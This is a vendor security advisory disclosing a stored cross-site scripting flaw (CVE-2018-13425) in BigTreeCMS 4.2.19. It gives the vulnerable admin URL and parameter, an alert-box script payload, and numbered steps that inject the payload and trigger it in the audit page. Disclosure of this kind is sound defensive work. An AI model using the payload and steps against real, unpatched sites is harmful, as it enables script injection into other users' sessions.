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Stored Cross-site Scripting Vulnerability in BigTreeCMS 4.2.19

Information

Advisory by Netsparker (now Invicti)
Name: Stored Cross-site Scripting Vulnerability in BigTreeCMS 4.2.19
Affected Software: BigTreeCMS
Affected Versions: 4.2.19
Homepage: https://www.bigtreecms.org/
Vulnerability: Stored Cross-site Scripting
Severity: Medium
Status: Fixed
CVE-ID: CVE-2018-13425
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-18-005

Injection Technical Details

URL: http://{domain}/{bigtree_path}/site/index.php/admin/ajax/auto-modules/views/delete/?view=2&id=<scRipt>alert(21)</scRipt>&__csrf_token_{csrf_token_name}__={csrf_token_value}
Parameter Name: id
Parameter Type: GET
Attack Pattern: <scRipt>alert(21)</scRipt>

For more information on cross-site scripting vulnerabilities, read the section Cross-site scripting (XSS).

Injection Repro

  1. Login with any user
  2. Go to http://localhost/bigtree/site/index.php/admin/trees/
  3. Any element in the list is modified from the deletion link’s href attribute to developer to
    a. Before: <a href="#3" class="icon_delete js-delete-hook"></a>
    b. After: <a href="#3' <scRipt>alert(21)</scRipt>" class="icon_delete js-delete-hook"></a>
  4. Click delete button and sending XHR

Identification Technical Details

URL: http://{domain}/{bigtree_path}/site/index.php/admin/developer/audit/search/?user={user_id}&__csrf_token_{csrf_token_name}__={csrf_token_value}

Identification Repro

  1. Login admin
  2. Go to http://localhost/bigtree/site/index.php/admin/developer/audit/
  3. Select “Injection Repro”‘s user from “User” combobox
  4. Click search button and trigger XSS payload

Advisory Timeline

9th July 2018- First Contact
11th July 2018 – Vendor Fixed
9th August 2018 – Advisory Released

Credits & Authors

These issues have been discovered by Omer Citak and Mithat Gogebakan while testing Invicti Web Application Security Scanner.

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